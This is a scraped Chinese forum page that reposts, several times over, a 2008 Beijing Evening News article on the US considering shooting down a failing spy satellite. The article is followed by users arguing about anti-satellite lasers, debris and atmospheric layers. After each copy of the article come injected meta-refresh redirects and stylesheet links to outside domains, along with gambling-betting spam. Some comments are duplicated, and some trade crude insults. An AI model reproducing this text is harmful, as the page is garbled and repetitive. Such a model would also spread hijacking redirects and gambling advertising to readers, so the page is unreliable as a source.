超级军网美考虑击毁失控卫星 军方称是绝佳练兵机会
来源：百度文库 编辑：超级军网 时间：2024/04/25 18:55:18
<br /><br />2008-01-31 16:45:34 来源: 北京晚报
核心提示：美军北方司令部兼北美防空司令部司令维克多·雷纽厄特29日说，美报废大型间谍卫星可能撞向北美陆地。它的坠毁存在泄露美国军事技术的可能性。据路透社报道，美国军方可能使用导弹摧毁这颗失控卫星。
北京晚报1月31日报道 数周后，天文爱好者的望远镜或许可以捕捉到天空中的一个亮点，如一辆小型中巴大小、包裹着火球高速冲向地球。或许，此时美军某个基地发射的导弹会迎面撞向火球，火球瞬间化散成一缕青烟消逝于空中。
动态或撞北美
美军北方司令部兼北美防空司令部司令维克多·雷纽厄特29日说，美报废大型间谍卫星可能撞向北美陆地，这颗卫星预计于2月底或3月初坠入大气层，军方正加紧研究应对措施。
雷纽厄特29日接受美联社专访时说，军方已注意到那颗卫星可能坠入大气层，它形成的大块碎片可能不会被大气层烧尽，进而撞击地球表面。他说，“现在看来，它可能坠落于北美地区。”
他说，美军相关部门正在展开分析，以确定卫星哪些部件可能经受住大气层高热摩擦考验，最终撞向地球表面。不过，在卫星坠入大气层并开始分解前，科研人员恐怕难以获取用于确定碎片坠落时速和地点的充足数据。
导弹摧毁
目前，美国政府内部正在讨论如何应付这颗失控的间谍卫星，使用导弹击碎是选项之一。
白宫国家安全委员会发言人戈登·约翰德罗在接受媒体采访时说，美国政府正在监控这颗失控卫星，并且正在考虑选择不同方式“减少危险”。
据路透社报道，美国军方可能使用导弹摧毁这颗失控卫星。对此，约翰德罗守口如瓶。但是美国国防部一名高级官员在接受路透社采访时，明确否定了这一说法，理由是摧毁卫星会制造很多空间碎片。英国媒体则说，如果美国政府不用导弹摧毁这颗失控卫星，那就有可能动用拦截导弹的激光武器。
解读专家谈“打”
到底有没有必要使用导弹，各方消息莫衷一是。美国情报专家认为，卫星在失控状态下坠地可能会泄露美军机密，使用导弹将其彻底摧毁是万全之策。一名要求的军方人士表示，这是美军检验太空战反卫星手段的绝好练兵机会。
接受路透社采访的美国国防部官员说，美国军队目前没有专门用于打击卫星的武器，但美国在上个世纪80年代中期就拥有这种能力，可以在很短的时间内制定计划摧毁卫星。不过，他还说:“考虑到反卫星试验可能在全球造成的恐慌，美国不太可能使用导弹摧毁卫星。”
一位不愿透露姓名的中国军事专家说:“美国的确具有使用导弹摧毁卫星的能力。”如果美国决定摧毁卫星，一定会用拦截导弹进行“硬摧毁”，不可能使用激光武器。因为激光武器只能“照瞎”卫星，而不能达到完全摧毁的目的。至于为何美国军方难下决定，这位专家指出，如果真如媒体所说，美国军方目前还无法确定失控卫星的空间位置、坠落轨道以及可能的落地点，那拦截的不确定因素会很多。另外，留给美国军方的时间有限，他们能否在短时间内做出有效部署，这些都值得怀疑。
代号“L－21”据美联社报道，这是一颗雷达成像间谍卫星；
主要承担图像侦察任务，能侦察到地球上南北纬50度之间的广大地域；
造价数亿美元；
卫星可能搜集了美国敌对国家和恐怖组织的图像信息，包括可疑核设施或军事训练营；
2006年12月从美国加利福尼亚州范登堡空军基地发射升空，进入近地轨道后不久即发生不明故障，丧失推进力，最终与地面失去联系。官方认为是主电脑系统故障。
主角让人忧心
美国媒体曾指出，卫星在无法预知的状态下坠落地球，重大军事机密可能因此外泄。
但雷纽厄特说，关键技术落入敌手的可能性不大。
路透社说，卫星升空不久就停止工作，所以它携带的火箭燃料没有耗尽。燃料的有毒物质具有腐蚀性，可能污染环境。对于这种担心，雷纽厄特说，卫星并没有装载太多助推燃料。
天天向“下”
各地天文爱好者架起高倍望远镜，时刻关注卫星一举一动。
英国业余天文学家约翰·洛克说，他参考了其他爱好者提供的观察数据，认为卫星长宽在4米至5米之间，正运行于距地约280公里的轨道上，比原来高度下降约70公里。
洛克说，受地球引力影响，卫星所处高度随时间推移逐渐降低，每日大概下降500米。一些欧洲和美国的天文学家则认为，卫星某个时段将出现加速下降，日降落高度将达8000米。
五角大楼发言人布赖恩·惠特曼出面安抚人心。他说，过去50年间，超过1.7万个人造航天器坠入地球大气层，均未发生任何重大灾难，卫星伤人毕竟是小概率事件。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />2008-01-31 16:45:34 来源: 北京晚报
核心提示：美军北方司令部兼北美防空司令部司令维克多·雷纽厄特29日说，美报废大型间谍卫星可能撞向北美陆地。它的坠毁存在泄露美国军事技术的可能性。据路透社报道，美国军方可能使用导弹摧毁这颗失控卫星。
北京晚报1月31日报道 数周后，天文爱好者的望远镜或许可以捕捉到天空中的一个亮点，如一辆小型中巴大小、包裹着火球高速冲向地球。或许，此时美军某个基地发射的导弹会迎面撞向火球，火球瞬间化散成一缕青烟消逝于空中。
动态或撞北美
美军北方司令部兼北美防空司令部司令维克多·雷纽厄特29日说，美报废大型间谍卫星可能撞向北美陆地，这颗卫星预计于2月底或3月初坠入大气层，军方正加紧研究应对措施。
雷纽厄特29日接受美联社专访时说，军方已注意到那颗卫星可能坠入大气层，它形成的大块碎片可能不会被大气层烧尽，进而撞击地球表面。他说，“现在看来，它可能坠落于北美地区。”
他说，美军相关部门正在展开分析，以确定卫星哪些部件可能经受住大气层高热摩擦考验，最终撞向地球表面。不过，在卫星坠入大气层并开始分解前，科研人员恐怕难以获取用于确定碎片坠落时速和地点的充足数据。
导弹摧毁
目前，美国政府内部正在讨论如何应付这颗失控的间谍卫星，使用导弹击碎是选项之一。
白宫国家安全委员会发言人戈登·约翰德罗在接受媒体采访时说，美国政府正在监控这颗失控卫星，并且正在考虑选择不同方式“减少危险”。
据路透社报道，美国军方可能使用导弹摧毁这颗失控卫星。对此，约翰德罗守口如瓶。但是美国国防部一名高级官员在接受路透社采访时，明确否定了这一说法，理由是摧毁卫星会制造很多空间碎片。英国媒体则说，如果美国政府不用导弹摧毁这颗失控卫星，那就有可能动用拦截导弹的激光武器。
解读专家谈“打”
到底有没有必要使用导弹，各方消息莫衷一是。美国情报专家认为，卫星在失控状态下坠地可能会泄露美军机密，使用导弹将其彻底摧毁是万全之策。一名要求的军方人士表示，这是美军检验太空战反卫星手段的绝好练兵机会。
接受路透社采访的美国国防部官员说，美国军队目前没有专门用于打击卫星的武器，但美国在上个世纪80年代中期就拥有这种能力，可以在很短的时间内制定计划摧毁卫星。不过，他还说:“考虑到反卫星试验可能在全球造成的恐慌，美国不太可能使用导弹摧毁卫星。”
一位不愿透露姓名的中国军事专家说:“美国的确具有使用导弹摧毁卫星的能力。”如果美国决定摧毁卫星，一定会用拦截导弹进行“硬摧毁”，不可能使用激光武器。因为激光武器只能“照瞎”卫星，而不能达到完全摧毁的目的。至于为何美国军方难下决定，这位专家指出，如果真如媒体所说，美国军方目前还无法确定失控卫星的空间位置、坠落轨道以及可能的落地点，那拦截的不确定因素会很多。另外，留给美国军方的时间有限，他们能否在短时间内做出有效部署，这些都值得怀疑。
代号“L－21”据美联社报道，这是一颗雷达成像间谍卫星；
主要承担图像侦察任务，能侦察到地球上南北纬50度之间的广大地域；
造价数亿美元；
卫星可能搜集了美国敌对国家和恐怖组织的图像信息，包括可疑核设施或军事训练营；
2006年12月从美国加利福尼亚州范登堡空军基地发射升空，进入近地轨道后不久即发生不明故障，丧失推进力，最终与地面失去联系。官方认为是主电脑系统故障。
主角让人忧心
美国媒体曾指出，卫星在无法预知的状态下坠落地球，重大军事机密可能因此外泄。
但雷纽厄特说，关键技术落入敌手的可能性不大。
路透社说，卫星升空不久就停止工作，所以它携带的火箭燃料没有耗尽。燃料的有毒物质具有腐蚀性，可能污染环境。对于这种担心，雷纽厄特说，卫星并没有装载太多助推燃料。
天天向“下”
各地天文爱好者架起高倍望远镜，时刻关注卫星一举一动。
英国业余天文学家约翰·洛克说，他参考了其他爱好者提供的观察数据，认为卫星长宽在4米至5米之间，正运行于距地约280公里的轨道上，比原来高度下降约70公里。
洛克说，受地球引力影响，卫星所处高度随时间推移逐渐降低，每日大概下降500米。一些欧洲和美国的天文学家则认为，卫星某个时段将出现加速下降，日降落高度将达8000米。
五角大楼发言人布赖恩·惠特曼出面安抚人心。他说，过去50年间，超过1.7万个人造航天器坠入地球大气层，均未发生任何重大灾难，卫星伤人毕竟是小概率事件。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
核心提示：美军北方司令部兼北美防空司令部司令维克多·雷纽厄特29日说，美报废大型间谍卫星可能撞向北美陆地。它的坠毁存在泄露美国军事技术的可能性。据路透社报道，美国军方可能使用导弹摧毁这颗失控卫星。
北京晚报1月31日报道 数周后，天文爱好者的望远镜或许可以捕捉到天空中的一个亮点，如一辆小型中巴大小、包裹着火球高速冲向地球。或许，此时美军某个基地发射的导弹会迎面撞向火球，火球瞬间化散成一缕青烟消逝于空中。
动态或撞北美
美军北方司令部兼北美防空司令部司令维克多·雷纽厄特29日说，美报废大型间谍卫星可能撞向北美陆地，这颗卫星预计于2月底或3月初坠入大气层，军方正加紧研究应对措施。
雷纽厄特29日接受美联社专访时说，军方已注意到那颗卫星可能坠入大气层，它形成的大块碎片可能不会被大气层烧尽，进而撞击地球表面。他说，“现在看来，它可能坠落于北美地区。”
他说，美军相关部门正在展开分析，以确定卫星哪些部件可能经受住大气层高热摩擦考验，最终撞向地球表面。不过，在卫星坠入大气层并开始分解前，科研人员恐怕难以获取用于确定碎片坠落时速和地点的充足数据。
导弹摧毁
目前，美国政府内部正在讨论如何应付这颗失控的间谍卫星，使用导弹击碎是选项之一。
白宫国家安全委员会发言人戈登·约翰德罗在接受媒体采访时说，美国政府正在监控这颗失控卫星，并且正在考虑选择不同方式“减少危险”。
据路透社报道，美国军方可能使用导弹摧毁这颗失控卫星。对此，约翰德罗守口如瓶。但是美国国防部一名高级官员在接受路透社采访时，明确否定了这一说法，理由是摧毁卫星会制造很多空间碎片。英国媒体则说，如果美国政府不用导弹摧毁这颗失控卫星，那就有可能动用拦截导弹的激光武器。
解读专家谈“打”
到底有没有必要使用导弹，各方消息莫衷一是。美国情报专家认为，卫星在失控状态下坠地可能会泄露美军机密，使用导弹将其彻底摧毁是万全之策。一名要求的军方人士表示，这是美军检验太空战反卫星手段的绝好练兵机会。
接受路透社采访的美国国防部官员说，美国军队目前没有专门用于打击卫星的武器，但美国在上个世纪80年代中期就拥有这种能力，可以在很短的时间内制定计划摧毁卫星。不过，他还说:“考虑到反卫星试验可能在全球造成的恐慌，美国不太可能使用导弹摧毁卫星。”
一位不愿透露姓名的中国军事专家说:“美国的确具有使用导弹摧毁卫星的能力。”如果美国决定摧毁卫星，一定会用拦截导弹进行“硬摧毁”，不可能使用激光武器。因为激光武器只能“照瞎”卫星，而不能达到完全摧毁的目的。至于为何美国军方难下决定，这位专家指出，如果真如媒体所说，美国军方目前还无法确定失控卫星的空间位置、坠落轨道以及可能的落地点，那拦截的不确定因素会很多。另外，留给美国军方的时间有限，他们能否在短时间内做出有效部署，这些都值得怀疑。
代号“L－21”据美联社报道，这是一颗雷达成像间谍卫星；
主要承担图像侦察任务，能侦察到地球上南北纬50度之间的广大地域；
造价数亿美元；
卫星可能搜集了美国敌对国家和恐怖组织的图像信息，包括可疑核设施或军事训练营；
2006年12月从美国加利福尼亚州范登堡空军基地发射升空，进入近地轨道后不久即发生不明故障，丧失推进力，最终与地面失去联系。官方认为是主电脑系统故障。
主角让人忧心
美国媒体曾指出，卫星在无法预知的状态下坠落地球，重大军事机密可能因此外泄。
但雷纽厄特说，关键技术落入敌手的可能性不大。
路透社说，卫星升空不久就停止工作，所以它携带的火箭燃料没有耗尽。燃料的有毒物质具有腐蚀性，可能污染环境。对于这种担心，雷纽厄特说，卫星并没有装载太多助推燃料。
天天向“下”
各地天文爱好者架起高倍望远镜，时刻关注卫星一举一动。
英国业余天文学家约翰·洛克说，他参考了其他爱好者提供的观察数据，认为卫星长宽在4米至5米之间，正运行于距地约280公里的轨道上，比原来高度下降约70公里。
洛克说，受地球引力影响，卫星所处高度随时间推移逐渐降低，每日大概下降500米。一些欧洲和美国的天文学家则认为，卫星某个时段将出现加速下降，日降落高度将达8000米。
五角大楼发言人布赖恩·惠特曼出面安抚人心。他说，过去50年间，超过1.7万个人造航天器坠入地球大气层，均未发生任何重大灾难，卫星伤人毕竟是小概率事件。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />2008-01-31 16:45:34 来源: 北京晚报
核心提示：美军北方司令部兼北美防空司令部司令维克多·雷纽厄特29日说，美报废大型间谍卫星可能撞向北美陆地。它的坠毁存在泄露美国军事技术的可能性。据路透社报道，美国军方可能使用导弹摧毁这颗失控卫星。
北京晚报1月31日报道 数周后，天文爱好者的望远镜或许可以捕捉到天空中的一个亮点，如一辆小型中巴大小、包裹着火球高速冲向地球。或许，此时美军某个基地发射的导弹会迎面撞向火球，火球瞬间化散成一缕青烟消逝于空中。
动态或撞北美
美军北方司令部兼北美防空司令部司令维克多·雷纽厄特29日说，美报废大型间谍卫星可能撞向北美陆地，这颗卫星预计于2月底或3月初坠入大气层，军方正加紧研究应对措施。
雷纽厄特29日接受美联社专访时说，军方已注意到那颗卫星可能坠入大气层，它形成的大块碎片可能不会被大气层烧尽，进而撞击地球表面。他说，“现在看来，它可能坠落于北美地区。”
他说，美军相关部门正在展开分析，以确定卫星哪些部件可能经受住大气层高热摩擦考验，最终撞向地球表面。不过，在卫星坠入大气层并开始分解前，科研人员恐怕难以获取用于确定碎片坠落时速和地点的充足数据。
导弹摧毁
目前，美国政府内部正在讨论如何应付这颗失控的间谍卫星，使用导弹击碎是选项之一。
白宫国家安全委员会发言人戈登·约翰德罗在接受媒体采访时说，美国政府正在监控这颗失控卫星，并且正在考虑选择不同方式“减少危险”。
据路透社报道，美国军方可能使用导弹摧毁这颗失控卫星。对此，约翰德罗守口如瓶。但是美国国防部一名高级官员在接受路透社采访时，明确否定了这一说法，理由是摧毁卫星会制造很多空间碎片。英国媒体则说，如果美国政府不用导弹摧毁这颗失控卫星，那就有可能动用拦截导弹的激光武器。
解读专家谈“打”
到底有没有必要使用导弹，各方消息莫衷一是。美国情报专家认为，卫星在失控状态下坠地可能会泄露美军机密，使用导弹将其彻底摧毁是万全之策。一名要求的军方人士表示，这是美军检验太空战反卫星手段的绝好练兵机会。
接受路透社采访的美国国防部官员说，美国军队目前没有专门用于打击卫星的武器，但美国在上个世纪80年代中期就拥有这种能力，可以在很短的时间内制定计划摧毁卫星。不过，他还说:“考虑到反卫星试验可能在全球造成的恐慌，美国不太可能使用导弹摧毁卫星。”
一位不愿透露姓名的中国军事专家说:“美国的确具有使用导弹摧毁卫星的能力。”如果美国决定摧毁卫星，一定会用拦截导弹进行“硬摧毁”，不可能使用激光武器。因为激光武器只能“照瞎”卫星，而不能达到完全摧毁的目的。至于为何美国军方难下决定，这位专家指出，如果真如媒体所说，美国军方目前还无法确定失控卫星的空间位置、坠落轨道以及可能的落地点，那拦截的不确定因素会很多。另外，留给美国军方的时间有限，他们能否在短时间内做出有效部署，这些都值得怀疑。
代号“L－21”据美联社报道，这是一颗雷达成像间谍卫星；
主要承担图像侦察任务，能侦察到地球上南北纬50度之间的广大地域；
造价数亿美元；
卫星可能搜集了美国敌对国家和恐怖组织的图像信息，包括可疑核设施或军事训练营；
2006年12月从美国加利福尼亚州范登堡空军基地发射升空，进入近地轨道后不久即发生不明故障，丧失推进力，最终与地面失去联系。官方认为是主电脑系统故障。
主角让人忧心
美国媒体曾指出，卫星在无法预知的状态下坠落地球，重大军事机密可能因此外泄。
但雷纽厄特说，关键技术落入敌手的可能性不大。
路透社说，卫星升空不久就停止工作，所以它携带的火箭燃料没有耗尽。燃料的有毒物质具有腐蚀性，可能污染环境。对于这种担心，雷纽厄特说，卫星并没有装载太多助推燃料。
天天向“下”
各地天文爱好者架起高倍望远镜，时刻关注卫星一举一动。
英国业余天文学家约翰·洛克说，他参考了其他爱好者提供的观察数据，认为卫星长宽在4米至5米之间，正运行于距地约280公里的轨道上，比原来高度下降约70公里。
洛克说，受地球引力影响，卫星所处高度随时间推移逐渐降低，每日大概下降500米。一些欧洲和美国的天文学家则认为，卫星某个时段将出现加速下降，日降落高度将达8000米。
五角大楼发言人布赖恩·惠特曼出面安抚人心。他说，过去50年间，超过1.7万个人造航天器坠入地球大气层，均未发生任何重大灾难，卫星伤人毕竟是小概率事件。<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
(6.合.彩)♀足球♀篮球...各类投注开户下注
<P> </P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
1.7万个人造航天器:Q
原帖由 元始天魔 于 2008-1-31 22:39 发表
一位不愿透露姓名的中国军事专家说:“美国的确具有使用导弹摧毁卫星的能力。”如果美国决定摧毁卫星，一定会用拦截导弹进行“硬摧毁”，不可能使用激光武器。因为激光武器只能“照瞎”卫星，而不能达到完全摧毁的目的。至于为何美国军方难下决定，这位专家指出，如果真如媒体所说，美国军方目前还无法确定失控卫星的空间位置、坠落轨道以及可能的落地点，那拦截的不确定因素会很多。另外，留给美国军方的时间有限，他们能否在短时间内做出有效部署，这些都值得怀疑。
专家又胡说，不适用高能激光器的原因不是只能“照瞎”，而是因为ABL主要是为上升段拦截设计的，目前还不适合对下落段目标实施拦截
TG可以打一下
打个美帝正在用的KH下来
然后说是为了保卫地球误击了
打个美帝正在用的KH下来
然后说是为了保卫地球误击了
美国现在没有能击毁卫星的导弹。实验早做过了，但是没有部署。
ABL对付卫星是扯淡，现在的激光能量、跟踪速度，都只能对付起飞助推段的导弹，哪个专家这么无知。
ABL对付卫星是扯淡，现在的激光能量、跟踪速度，都只能对付起飞助推段的导弹，哪个专家这么无知。
这时，美国的媒体们和军方怎么不说“卫星碎片威胁”了？？中国也要抗议！
原帖由 killerop10 于 2008-2-1 10:15 发表
这时，美国的媒体们和军方怎么不说“卫星碎片威胁”了？？中国也要抗议！
因为是在大气层内进行
原帖由 dark_knight 于 2008-2-1 10:46 发表
因为是在大气层内进行
--------------------------------------------------------------------------------
还没有进行就有人就在为美国辩护了！你那只眼睛看到了文中说要在大气层内进行？？？？卫星进入大气层内就是在燃烧了，还需要打？卫星进入大气层内就可能分裂了。变规道了！有人居然无任何依据就说在大气层内进行，那还叫卫星吗？真是为了为美国辩护，已经胡言乱语，在YY了！
可不可以用NMD的地基拦截弹尝试一下？
其实碎片可能比FY-1的那次要好一些，因为轨道低很多，这样不少碎片会比较快的再入烧毁。
ABL虽然是针对上升段优化的，但是用于反卫(其实不是一个下降段)，应该没有原则上的困难吧。在一定角度下，卫星相对ABL的角速度不见得很快，当然这个时候可能距离有些长。
ABL虽然是针对上升段优化的，但是用于反卫(其实不是一个下降段)，应该没有原则上的困难吧。在一定角度下，卫星相对ABL的角速度不见得很快，当然这个时候可能距离有些长。
原帖由 shh 于 2008-2-1 15:17 发表
其实碎片可能比FY-1的那次要好一些，因为轨道低很多，这样不少碎片会比较快的再入烧毁。
ABL虽然是针对上升段优化的，但是用于反卫(其实不是一个下降段)，应该没有原则上的困难吧。在一定角度下，卫星相对ABL的角 ...
ABL对上升段弹道导弹的杀伤机理是，通过照射弹体表面，造成结构破损和空中解体。
对于卫星除了一般的致盲外，还可能破坏太阳能电池板，卫星散热系统破坏，或者壳体破损导致内部外露，调姿或变轨推进剂储箱泄露。产生的碎片相对较少，但不能保证卫星立即坠落大气层。
原帖由 killerop10 于 2008-2-1 12:41 发表
--------------------------------------------------------------------------------
还没有进行就有人就在为美国辩护了！你那只眼睛看到了文中说要在大气层内进行？？？？卫星进入大气层内就是在燃烧了，还需要打？卫星进入大气层内就可能分裂了。变规道了！有人居然无任何依据就说在大气层内进行，那还叫卫星吗？真是为了为美国辩护，已经胡言乱语，在YY了！
我看到的东西是你永远都看不到的，所以我建议你把两只眼睛至少挖掉一只，这样可以看得清楚一点。
英国业余天文学家约翰·洛克说，他参考了其他爱好者提供的观察数据，认为卫星长宽在4米至5米之间，正运行于距地约280公里的轨道上，比原来高度下降约70公里。
洛克说，受地球引力影响，卫星所处高度随时间推移逐渐降低，每日大概下降500米。一些欧洲和美国的天文学家则认为，卫星某个时段将出现加速下降，日降落高度将达8000米。
看到没？就在你废话的时候，就掉了几百米的高度，而卫星仍然保持完整。
从30千米到80-100千米的高度范围，被称为中间层。这一层空气的特点是：以 45千米为界，温度先升后降。由于大量的臭氧存在，其气温先由同温层顶的-33℃提高到17至40℃左右；从45千米起，随着高度的升高，气温又开始下降，一直降低到-65.5℃至-113℃。
在中间层之上直至800千米高空的范围，称作电离层。其特点是：含有大量的带正电或负电的离子，空气具有导电性。并且，其温度随高度的增大而迅速升高，在200千米高度时，气温可达400℃。所以，这里又被人们叫作“暖层”。
在电离层顶端之外，便是大气的最外层——“散逸层”了。由于地球引力的减弱，气体分子和等离子体与地球已若即若离。
神舟号返回时第一阶段是制动飞行阶段，高度与现在失控卫星的高度相近。第二阶段是自由滑行阶段，到140公里高度时神舟号推进舱和返回舱才分离，到100公里时正式进入再入大气层阶段，然后产生黑障直至40公里高度才消失。
问题是现在美国不大可能有能立刻投入使用的击毁卫星的武器，要不TG帮个忙！
中俄美欧A3以色列三国同时发射拦截导弹看谁打得准,然后把这个比赛加入08奥运会奖项!
原帖由 尖端 于 2008-2-2 12:02 发表
中俄美欧A3以色列三国同时发射拦截导弹看谁打得准,然后把这个比赛加入08奥运会奖项!
:victory: :victory:
我们就助人为乐一下吧，这次费用找老美报销
大气层由下而上是
对流层 下界 0公里 上界 8－18公里
平流层 下界 8－18公里 上界 50－55公里
中间层 下界 50－55公里 上界 80－85公里
电离层 下界80－85公里 上界 800公里
散逸层 下界800公里 上界约 3000公里
看到了没有？这就是广义的，地理上的大气层！百度下风云一号的高度，800多千米高，也就是说在dark_knight这贵宾説的大气层內，美国凭什么说会有碎片啊？？？同样在广义的大气层內一个会产生碎片，一个不会有碎片，好笑！！！
我们通常说的“卫星在太空飞行，在进入大气层后燃烧销毁”，指的是会燃烧卫星的大气层，即相对卫星来说狭义的大气层，就是约120多千米高以下的大气层，也就是通常口语中说的航天界称的“大气层”，而美国间谍卫星在他上面，打就会产生碎片！而这dark_knight这贵宾的眼睛居然可以从文中看到美国在狭义的大气层内打卫星（已燃烧会分裂的卫星），我建议你把两只眼睛都挖掉，看得最清楚！
这dark_knight这贵宾已经在对“大气层”偷换概念，为美国打卫星辩护！
按他dark_knight的理论，美国间谍卫星在大气层內的规道上，一边飞，一边燃烧，还不会分裂有碎片，厉害啊？？？！！！！！！！！
对流层 下界 0公里 上界 8－18公里
平流层 下界 8－18公里 上界 50－55公里
中间层 下界 50－55公里 上界 80－85公里
电离层 下界80－85公里 上界 800公里
散逸层 下界800公里 上界约 3000公里
看到了没有？这就是广义的，地理上的大气层！百度下风云一号的高度，800多千米高，也就是说在dark_knight这贵宾説的大气层內，美国凭什么说会有碎片啊？？？同样在广义的大气层內一个会产生碎片，一个不会有碎片，好笑！！！
我们通常说的“卫星在太空飞行，在进入大气层后燃烧销毁”，指的是会燃烧卫星的大气层，即相对卫星来说狭义的大气层，就是约120多千米高以下的大气层，也就是通常口语中说的航天界称的“大气层”，而美国间谍卫星在他上面，打就会产生碎片！而这dark_knight这贵宾的眼睛居然可以从文中看到美国在狭义的大气层内打卫星（已燃烧会分裂的卫星），我建议你把两只眼睛都挖掉，看得最清楚！
这dark_knight这贵宾已经在对“大气层”偷换概念，为美国打卫星辩护！
按他dark_knight的理论，美国间谍卫星在大气层內的规道上，一边飞，一边燃烧，还不会分裂有碎片，厉害啊？？？！！！！！！！！
原帖由 dark_knight 于 2008-2-1 16:26 发表
我看到的东西是你永远都看不到的，所以我建议你把两只眼睛至少挖掉一只，这样可以看得清楚一点。
看到没？就在你废话的时候，就掉了几百米的高度，而卫星仍然保持完整。
从30千米到80-100千米的高度范围 ...
---------------------------------------------------------------------------------
大气层由下而上是
对流层 下界 0公里 上界 8－18公里
平流层 下界 8－18公里 上界 50－55公里
中间层 下界 50－55公里 上界 80－85公里
电离层 下界80－85公里 上界 800公里
散逸层 下界800公里 上界约 3000公里
看到了没有？这就是广义的，地理上的大气层！百度下风云一号的高度，800多千米高，也就是说在dark_knight这贵宾説的大气层內，美国凭什么说会有碎片啊？？？同样在广义的大气层內一个会产生碎片，一个不会有碎片，好笑！！！
我们通常说的“卫星在太空飞行，在进入大气层后燃烧销毁”，指的是会燃烧卫星的大气层，即相对卫星来说狭义的大气层，就是约120多千米高以下的大气层，也就是通常口语中说的航天界称的“大气层”，而美国间谍卫星在他上面，打就会产生碎片！而这dark_knight这贵宾的眼睛居然可以从文中看到美国在狭义的大气层内打卫星（已燃烧会分裂的卫星），我建议你把两只眼睛都挖掉，看得最清楚！
这dark_knight这贵宾已经在对“大气层”偷换概念，为美国打卫星辩护！
按他dark_knight的理论，美国间谍卫星在大气层內的规道上，一边飞，一边燃烧，还不会分裂有碎片，厉害啊？？？！！！！！！！！
dark_knight
神舟号返回时第一阶段是制动飞行阶段，高度与现在失控卫星的高度相近。第二阶段是自由滑行阶段，到140公里高度时神舟号推进舱和返回舱才分离，到100公里时正式进入再入大气层阶段，然后产生黑障直至40公里高度才消失。
------------------------------------------------------------------------------------------------------------------------
dark_knight自己贴的：神舟号返回时“到100公里时正式进入再入大气层阶段”，对不起，按dark_knight的大气层定义，还有什么“再入大气层阶段”？神舟号全程也是在dark_knight的大气层内飞啊，神舟号从来也没飞到1000公里已上的高度啊？
dark_knight说中国打卫星有碎片，大气层的定义是可以燃烧卫星的120公里下的大气层！
dark_knight说美国打卫星无碎片，大气层的定义是地理上的1000公里下的大气层！;funk ;funk
神舟号返回时第一阶段是制动飞行阶段，高度与现在失控卫星的高度相近。第二阶段是自由滑行阶段，到140公里高度时神舟号推进舱和返回舱才分离，到100公里时正式进入再入大气层阶段，然后产生黑障直至40公里高度才消失。
------------------------------------------------------------------------------------------------------------------------
dark_knight自己贴的：神舟号返回时“到100公里时正式进入再入大气层阶段”，对不起，按dark_knight的大气层定义，还有什么“再入大气层阶段”？神舟号全程也是在dark_knight的大气层内飞啊，神舟号从来也没飞到1000公里已上的高度啊？
dark_knight说中国打卫星有碎片，大气层的定义是可以燃烧卫星的120公里下的大气层！
dark_knight说美国打卫星无碎片，大气层的定义是地理上的1000公里下的大气层！;funk ;funk
原帖由 dark_knight 于 2008-2-1 16:26 发表
我看到的东西是你永远都看不到的，所以我建议你把两只眼睛至少挖掉一只，这样可以看得清楚一点。
看到没？就在你废话的时候，就掉了几百米的高度，而卫星仍然保持完整。
从30千米到80-100千米的高度范围 ...
----------------------------------------------------------------------------------------
再问一遍：你那只眼睛看到了文中说要在大气层内进行？？？？
打的高度在那里？
你的美国卫星一边在你定义的大气层内（电离层）飞行，一边与空气摩擦燃烧也不会掉碎片，打了也没事，没碎片落下！
你的中国卫星一边在你定义的大气层内（即散逸层，也是大气层啊）飞行，一边与空气不摩擦燃烧，打了会有碎片！
这叫做一样的大气层内飞行，一样的与空气摩擦燃烧，打美国的没碎片，打中国的碎片威胁啊！相同的标准和物理条件，在网特嘴里有两样的结果！